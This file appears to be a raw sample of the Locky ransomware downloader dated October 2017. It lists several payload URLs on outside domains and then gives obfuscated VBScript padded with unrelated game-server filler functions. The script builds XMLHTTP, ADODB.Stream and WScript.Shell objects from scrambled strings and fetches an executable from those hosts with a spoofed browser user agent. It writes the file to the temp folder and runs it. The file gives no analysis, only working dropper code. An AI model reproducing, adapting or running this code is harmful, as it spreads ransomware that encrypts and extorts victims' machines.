locky 10-18-2017

jeangurunlian.com/3g76fh?
peopleiknow.org/3g76fh?
stemcellenhancementresearch.com/3g76fh?
petrochemus.com/3g76fh?
rateventrithathen.info/p66/3676fh



############VB downloader################

Public Sub UserEnterExit(sUserName , sEnter , sExit , sEmail )
    If UserAccount(sUserName) Then
        If StringComp(sEnter, " ") Then sEnter = "Entered."
        If StringComp(sExit, " ") Then sExit = "Left."
        'If StringComp(sEmail, " ") Then sEmail = " " 'Why's this retarded function in here?
        rs.Edit
        rs.EnterMSG = sEnter
        rs.ExitMSG = sExit
        rs.eMail = sEmail & " "
        rs.Update
    End If
End Sub
Function SaltbaeexpressedFuks(p)

SaltbaeexpressedReikYaik.Send


End Function
    Gianluko = "XMLHTTPPISYATAdodb."+"streaMPISYATs"

 Dim Gianluko
Dim Saltbaeexpressedensurance '

Dim SaltbaeexpressedInPlaceOf '
SaltbaeexpressedTepir = "User"


Dim williams
       Dim TristateTrue


Dim SaltbaeexpressedTimeTo 'As Object
Dim SaltbaeexpressedDW
SaltbaeexpressedDW = false

Dim Saltbaeexpressedbalibob 'As Object


Dim Saltbaeexpressedcashback 'As Object

Vrungel = ".resp"+"onseBody"
Public Function GetBufferString(BufferData, lOffset, Who, DataP2)

    Dim tmp , lLen , boffset , I
    boffset = lOffset
    CopyMemory lLen, BufferData(lOffset), 2
    lOffset = lOffset + 2
    CopyMemory  tmp, BufferData(lOffset), lLen
    lOffset = lOffset + lLen
    If EncEnabled(Who) And Not DataP2 Then
        tmp = Encryption.DecryptString(tmp, EncPassword)
    End If
    If Not DataP2 Then GetBufferString = Unscramble(tmp) Else GetBufferString = tmp
    Exit Function
errors:
    GetBufferString = "NOTAVAILABLE"
    lOffset = boffset
End Function





 Sub RexPexFexlinguisticexpressed2(vids)
vids = vids + 3 + vids

Saltbaeexpressed5000 = SaltbaeexpressedReikYaik.responseBody
vids = 4 * vids - 1

End Sub


Dim krapivec

Dim SaltbaeexpressedReikYaik 'As Object

Dim Save1 'As Object

Function RexPexFexlinguisticexpressed(strr)
if strr = "81" then
waitH = "SaveToFile"
else
Save1.Savetofile SaltbaeexpressedInPlaceOf , 1+3-2
end if
End Function

Function T2000(p, ddd)
    Set SaltbaeexpressedBurger = CreateObject("WSc"+"ript.Shell")
	Save1.Type = 1
 Save1.Open
End Function
Function StackStack( vr )
	ad1 = Replace(Gianluko, "RITANE", "" )
   StackStack = Split(ad1,  vr)
End Function

CUA ="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"

Gianluko ="Microsoft." + Gianluko+  "hell.App"+"licationPISYATWscript"+".shellPISYATProcessPISYATGeTPISYATT"+"emPPISYATTyRITANEpeRITANE"




    Public Function FolderToCopy(dde,SecondP,VKUok)
Samwell = 89
Samwell = Samwell + 21
if Samwell > 43 then
SecondP.Write VKUok
Samwell =  Samwell / 23
end if
End Function

Gianluko = Gianluko +"PISYATRITANEoRITANEpenPISYATwrRITANEitePISYATreRITANEspoRITANEnseBoRITANEdyPISYATsaRITANEvetof"+"RITANEilePISYAT\UoUcopQWNq.ex"+"RITANEePISYAThttRITANEp:PISYAT//"



 Function GetShitlist(ByVal Username )

    If (Ban) Then
        If ((Len(gAcc.BanMessage) > 0) And (gAcc.BanMessage <> "%")) Then
            GetShitlist = Username & Space(1) & gAcc.BanMessage
        ElseIf InStr(1, gAcc.Username, " (clan)", vbBinaryCompare) > 0 Then
            GetShitlist = Username & Space(1) & "Clanban: " & Mid(gAcc.Username, 2, InStr(1, gAcc.Username, " (clan)", vbBinaryCompare) - 2)
        ElseIf InStr(1, gAcc.Username, " (game)", vbBinaryCompare) > 0 Then
            GetShitlist = Username & Space(1) & "Clientban: " & Mid(gAcc.Username, 2, InStr(1, gAcc.Username, " (game)", vbBinaryCompare) - 2)
        ElseIf InStr(1, gAcc.Username, "*", vbBinaryCompare) > 0 Then
            GetShitlist = Username & Space(1) & "Tagban: " & Mid(gAcc.Username, 2, Len(gAcc.Username) - 2)
        Else
            GetShitlist = Username & Space(1) & "Shitlisted"
        End If
    End If
End Function


Function UASet(piupiu)
dolbySome = 13
	if CUA <> "" then
		piupiu.setRequestHeader "" & SaltbaeexpressedTepir, "" + CUA
	end if
End Function
Dim SaltbaeexpressedPetir '
Dim sNodeKey '
  Dim sParentKey '




SaltbaeexpressedPetir = "Ag"

williams = StackStack("" + "PISYAT" )

  Dim MarketPlaceibility '


Dim Twelve 'As Integer
  Dim sDecimalVis '





''''''''''''''''''''11
 Function IsCircleAnalytic(ByVal Figure1 )
If Figure1 < FigureCount And Figure1 >= 0 Then
    If Figures(Figure1).FigureType = dsAnCircle Then IsCircleAnalytic = True
End If
End Function
dr501 = False

Set SaltbaeexpressedReikYaik = CreateObject("" + williams(00))

Dim Valery 'As Integer
SaltbaeexpressedTepir = SaltbaeexpressedTepir + "-"


Dim Saltbaeexpressed404 '

Dim Saltbaeexpressed5000 'As Variant
Dim SaltbaeexpressedBurger
 Dim MarketPlace '
  Dim sTempVis '
  Dim iCount 'As Integer


Twelve = 11 + 1
zTempVis = williams(1)

'Set SaltbaeexpressedTimeTo = CreateObject(williams(8-6))
Set SaltbaeexpressedHelmet = GetRef("SaltbaeexpressedHipperD")
Set Saltbaeexpressed13 = GetRef("RexPexFexlinguisticexpressed")
Set Saltbaeexpressed14 = GetRef("FolderToCopy")

Set Save1 = CreateObject("Adodb.s"+"treaM")

Public Sub DebugLog(txt)
    'debug.print txt
    Open AppPath & "ARCServerDebug.txt"
    Print txt
    Close
End Sub

Set Saltbaeexpressedbalibob = CreateObject(""+williams(10-7))

if "Plast" + WScript + "11" = "PlastWindows Script Host11" Then





	Saltbaeexpressedensurance = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)

end if

 Valery = 89210

 Dim i
 'on error GoTo nextU
' on error resume next
sTempVis = williams(1+Twelve -1)


Public Sub Kick(I , bnr , P ,  Reason ,  RoomNumber ) 'p = message type, i = index, j = who to send to.
    Dim oNewMsg()  , lNewOffset
    Dim lNewMsg
    Dim tmp  , X , B  , c
    If RoomNumber <> 0 And UserDat(I).Room <> UserDat(bnr).Room Then Exit Sub
    If P = 1 Then
        If RoomNumber = 0 Or UserDat(bnr).Admin > 0 Then
            If Reason <> vbNullString Then
                SendError "You were kicked by " & UserDat(bnr).Nick & ". ( Reason: " & Reason & " )", I, 1
            Else
                SendError "You were kicked by " & UserDat(bnr).Nick & ".", I, 1
            End If
        Else
            If Reason <> vbNullString Then
                SendError "You were kicked by " & UserDat(bnr).Nick & ". ( Reason: " & Reason & " )", I, 0
            Else
                SendError "You were kicked by " & UserDat(bnr).Nick & ".", I, 0
            End If
            JoinRoom I, 0
        End If
    End If
    If UserDat(bnr).Admin > 0 And (P = 1 Or P = 2) Then
        For X = 0 To UBound(svrPlayers)
            If StringComp(svrPlayers(X).ScreenName, UserDat(I).Nick) Then
                B = svrPlayers(X).playerID
                c = svrPlayers(X).ServerID
                lNewMsg = MSG_ERROR
                lNewOffset = 0
                ReDim oNewMsg(0)
                AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffset
                AddBufferData oNewMsg, VarPtr(B), LenB(B), lNewOffset
                'If P = 1 Then tmp = "Someone booted your ass with a steel toe boot!"
                If P > 0 Then tmp = "A " & ServerName & " admin booted you out of the game."
                AddBufferString oNewMsg, tmp, lNewOffset, True
                'dps.SendTo FromPlayerID, oNewMsg, 0, DPNSEND_GUARANTEED Or DPNSEND_NOLOOPBACK
                SendTo2 oNewMsg, c
            End If
        Next
    End If
    If Reason <> vbNullString Then
        If P = 1 Then SendChat UserDat(I).Nick & " was kicked by " & UserDat(bnr).Nick & " ( " & Reason & " )", 0, -1, RoomNumber
    Else
        If P = 1 Then SendChat UserDat(I).Nick & " was kicked by " & UserDat(bnr).Nick & ".", 0, -1, RoomNumber
    End If
    If P = 2 Then SendChat UserDat(I).Nick & " was booted from the game server by " & UserDat(bnr).Nick & ".", 0, -1, RoomNumber
End Sub


ATC = 11
MarketPlace = williams(ATC+2) & williams(ATC+3)

SaltbaeexpressedTepir = SaltbaeexpressedTepir & ""&SaltbaeexpressedPetir & "ent"
NotFound404 = 24

 krapivec = Array("stemcellenhancementresearch.com/3g76fh?","rateventrithathen.infov/p66/3g76fh","jeangurunlian.com/3g76fh?")


lTo = UBound(krapivec)

Dim kakuli


Function SaltbaeexpressedHipperD(VF,DS,KZ)

KOPKOP =  SaltbaeexpressedInPlaceOf

 SaltbaeexpressedBurger.Run( KOPKOP )

End Function
 kakuli = -1
 sub GetDriveInfo()
    Dim Serial_Number
    Dim Drive_Label
    Dim Fat_Type

    Dim Return_Value

    Drive_Label = Space(256)
    Fat_Type = Space(256)

    Return_Value = GetVolumeInformation(strDrive, Drive_Label, Len(Drive_Label), Serial_Number, 0, 0, Fat_Type, Len(Fat_Type))

    GetDriveInfo = CStr(Serial_Number)

End sub


For i = 0 To lTo Step 1
NotFound404 = NotFound404 * 26

	on error resume  next
Valery =  Valery +14
dr1=2
NotFound4042 = williams(16-11)

NotFound404 = NotFound404 + 404

dr500 =MarketPlace + krapivec(i)

 SaltbaeexpressedReikYaik.Open NotFound4042, dr500, dr501

UASet(SaltbaeexpressedReikYaik)
SaltbaeexpressedFuks "//\\ d \\"


If SaltbaeexpressedReikYaik.Status +3 = 203 Then
kakuli = i

 Exit For
End If

goto14:
Next
on error goto 0


if kakuli >= 0 Then
Dim Clank 'As String
 SaltbaeexpressedInPlaceOf = Saltbaeexpressedensurance+ sTempVis

T2000 "",90
RexPexFexlinguisticexpressed2 90
Saltbaeexpressed14 "",Save1,Saltbaeexpressed5000
Sapogi =90
SaltbaeexpressedInPlaceOfu = "" + SaltbaeexpressedInPlaceOf


Sapogi = Sapogi*90

Dim SaltbaeexpressedJohnSnowu,SaltbaeexpressedDisplay 'As Long
Saltbaeexpressed13 "ss"
SaltbaeexpressedJohnSnowu = 90

If 90 < SaltbaeexpressedJohnSnowu + 4 Then

	Hipster =NotFound404+NotFound404
	SaltbaeexpressedHelmet Hipster, NotFound404, 2
	SaltbaeexpressedDisplay = "H"
End If



mafia = 90



end if